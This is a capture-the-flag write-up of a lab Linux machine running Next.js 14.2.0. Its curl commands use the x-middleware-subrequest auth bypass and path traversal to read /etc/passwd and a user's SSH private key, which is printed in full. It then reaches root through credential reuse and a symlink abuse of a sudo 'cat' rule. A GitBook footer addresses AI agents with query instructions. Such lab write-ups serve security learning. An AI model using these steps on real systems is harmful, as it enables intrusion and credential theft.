Next.js

< SF:link\x20rel=\"preload\"\x20as=\"script\"\x20fetchPriority=\"low\"\x20hr SF:ef=\"/_next/static/chunks/webpack\.js\?v=1787587016991\"/> SF:Next\.js

Next\.js

* This seemed to be a corporate document management system and the `access system` button redirected us to the login page.

* Now we had a look at our `wappalyzer` plugin to check the tech stack.

* It was found that this server was being hosted on `next.js` and the version was `14.2.0` and this was an Important piece of Information found so we have a look at the web for any Publicly disclosed existing exploit for this specific Version of `next.js` . * After a bit of Research we found out that this specific version is vulnerable to a critical Auth Bypass Vulnerability {% embed url="" %} * Now we try completely bypassing the Login panel and trying to access the dashboard using `curl` command ```jsx ┌──(kali㉿kali)-[~/Desktop/ronin66/mask] └─$ curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://172.16.18.20:3000/dashboard {"error":"Parameter file not found"} ``` * It gives us an error which is a little verbose and tells us that there is a parameter named `file` which is present and required. * Even after giving an empty `file` parameter, it gave the same error. ```jsx ┌──(kali㉿kali)-[~/Desktop/ronin66/mask] └─$ curl -s -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" "http://172.16.18.20:3000/dashboard?file=" {"error":"Parameter file not found"} ``` * Here, we tried using normal path traversal payload but it redirected us to the `/login` endpoint. ```jsx ┌──(kali㉿kali)-[~/Desktop/ronin66/mask] └─$ curl -s -H --path-as-is "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" "http://172.16.18.20:3000/dashboard?file=../../../../etc/passwd" /login ``` * So we gave it a little more `../` traversal payload and this time interestingly it returned the `/etc/passwd` file for us. ```jsx ┌──(kali㉿kali)-[~/Desktop/ronin66/mask] └─$ curl -s -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \ "http://172.16.18.20:3000/dashboard?file=../../../../etc/passwd" root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin _apt:x:42:65534::/nonexistent:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin dhcpcd:x:100:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd:/bin/false messagebus:x:101:102::/nonexistent:/usr/sbin/nologin systemd-resolve:x:992:992:systemd Resolver:/:/usr/sbin/nologin pollinate:x:102:1::/var/cache/pollinate:/bin/false polkitd:x:991:991:User for polkitd:/:/usr/sbin/nologin syslog:x:103:104::/nonexistent:/usr/sbin/nologin uuidd:x:104:105::/run/uuidd:/usr/sbin/nologin tcpdump:x:105:107::/nonexistent:/usr/sbin/nologin tss:x:106:108:TPM software stack,,,:/var/lib/tpm:/bin/false landscape:x:107:109::/var/lib/landscape:/usr/sbin/nologin fwupd-refresh:x:989:989:Firmware update daemon:/var/lib/fwupd:/usr/sbin/nologin usbmux:x:108:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin jim:x:1000:1000:jim:/home/jim:/bin/bash jacky:x:1001:1001:,,,:/home/jacky:/bin/bash sshd:x:109:65534::/run/sshd:/usr/sbin/nologin ``` ## Shell as `jim` : * Now since we found out that there is a path traversal vulnerability present we tried to get the SSH private key of both the user `jacky` and `jim` . ```jsx ┌──(kali㉿kali)-[~/Desktop/ronin66/mask] └─$ curl -s -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \ "http://172.16.18.20:3000/dashboard?file=../../../../home/jacky/.ssh/id_rsa" {"error":"File not found"} ``` * It didn’t work for the user `jacky` and now we tried for another user which is `jim` ```jsx ┌──(kali㉿kali)-[~/Desktop/ronin66/mask] └─$ curl -s -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \ "http://172.16.18.20:3000/dashboard?file=../../../../home/jim/.ssh/id_rsa" -----BEGIN OPENSSH PRIVATE KEY----- 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 Y1m69W8OixmsEAAAALamltQGVhcnRoMDI= -----END OPENSSH PRIVATE KEY----- ``` * This time we had successfully received the private SSH key for the user `jim` and now we save it on our attacker machine as `id_rsa` .

```jsx ┌──(kali㉿kali)-[~/Desktop/ronin66/mask] └─$ chmod 600 id_rsa ``` * After accessing the machine using `SSH` we get our `user.flg`

* Now we start enumerating the machine for any interesting files. ## Access as `jacky` : * While enumerating the machine, we found a `config.txt` file on the machine in the `corporate-document-management` directory and this contained sensitive credentials.

* Now first we tried authenticating on the Web Server using the Admin credentials we found and also these credentials were valid and it was confirmed using the `/api/auth` endpoint, we were not redirected to the `dashboard` endpoint on the page.

* Then after struggling for a while we had an idea to run `linpeas.sh` script to find any other interesting attack vector. * Here in the `linpeas` output we found that our user was allowed to `cat` the file `/home/jacky/notes/todo.txt` with `sudo` privileges.

* Now, we go ahead and check the content of the file.

* Now this doesn’t seemed to be interesting as we didn’t have write permissions and we couldn’t edit the file so we stop for a while and step back and think again. * We then tried the Admin Password which was retrieved from the `config.txt` for the user `jacky` and it worked!!

* At this point we had access to the `notes` directory which had the `todo.txt` .

## Access as `root` : * Now to move to `root` , we created a symlink pointing to `/root/.ssh/authorized_keys` yo get the root user’s private SSH keys and name it as `todo.txt` * For this to work we first removed the original `todo.txt` ```jsx jacky@earth02:~/notes$ rm todo.txt ``` * Now we go ahead and create a `symlink` ```jsx jacky@earth02:~/notes$ ln -s /root/.ssh/id_rsa todo.txt ``` * Now as `jacky` user we were not able to access this file due to the permission issues and got an `Access Denied` message. * So we open a new terminal and again SSH into the machine as the `jim` user and cat the file using `sudo` permissions

* Now we were successfully able to retrieve the root user’s private SSH key so we copy it on our attacker machine and give necessary permissions. ```jsx ┌──(kali㉿kali)-[~/Desktop/ronin66/mask] └─$ nano root_id_rsa ┌──(kali㉿kali)-[~/Desktop/ronin66/mask] └─$ chmod 600 root_id_rsa ``` * Now we were successfully able to SSH into the Machine as the `root` user and finally got our `root.flg` .

* We have now successfully solved this machine!!! --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://akchhat.gitbook.io/dev/standalone-machines/mask-linux.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.